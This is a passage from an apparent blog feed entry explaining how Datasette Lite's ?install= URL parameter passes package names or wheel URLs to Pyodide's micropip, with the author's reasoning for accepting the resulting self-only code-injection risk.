&lt;p&gt;The implementation is pretty simple - it can be seen &lt;a href="https://github.com/simonw/datasette-lite/commit/5e348e84ff2cb38e4749aa36182db78e235dd9bc"&gt;in this commit&lt;/a&gt;. The short version is that &lt;code&gt;?install=&lt;/code&gt; options are passed through to the Python web worker that powers Datasette Lite, which then runs the following:&lt;/p&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;for&lt;/span&gt; &lt;span class="pl-s1"&gt;install_url&lt;/span&gt; &lt;span class="pl-c1"&gt;in&lt;/span&gt; &lt;span class="pl-s1"&gt;install_urls&lt;/span&gt;:
    &lt;span class="pl-k"&gt;await&lt;/span&gt; &lt;span class="pl-s1"&gt;micropip&lt;/span&gt;.&lt;span class="pl-en"&gt;install&lt;/span&gt;(&lt;span class="pl-s1"&gt;install_url&lt;/span&gt;)&lt;/pre&gt;
&lt;p&gt;&lt;a href="https://pyodide.org/en/stable/usage/api/micropip-api.html"&gt;micropip&lt;/a&gt; is a component of Pyodide which knows how to install pure Python wheels directly from PyPI into the browser's emulated Python environment. If you open up the browser devtools networking panel you can see that in action!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2022/datasette-lite-devtools.jpg" alt="The Firefox Network pane shows a flurry of traffic, some of it to PyPI to look up the JSON descriptions of packages followed by downloads of .whl files from files.pythonhosted.org" style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;Since the &lt;code&gt;?install=&lt;/code&gt; parameter is being passed directly to &lt;code&gt;micropip.install()&lt;/code&gt; you don't even need to provide names of packages hosted on PyPI - you could instead provide the URL to a wheel file that you're hosting elsewhere.&lt;/p&gt;
&lt;p&gt;This means you can use &lt;code&gt;?install=&lt;/code&gt; as a code injection attack - you can install any Python code you want into the environent. I think that's fine - the only person who will be affected by this is the user who is viewing the page, and the &lt;code&gt;lite.datasette.io&lt;/code&gt; domain deliberately doesn't have any cookies set that could cause  problems if someone were to steal them in some way.&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/plugins"&gt;plugins&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/projects"&gt;projects&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/datasette"&gt;datasette&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webassembly"&gt;webassembly&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pyodide"&gt;pyodide&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/datasette-lite"&gt;datasette-lite&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/cors"&gt;cors&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="plugins"/><category term="projects"/><category term="pypi"/><category term="datasette"/><category term="webassembly"/><category term="pyodide"/><category term="datasette-lite"/><category term="cors"/></entry></feed>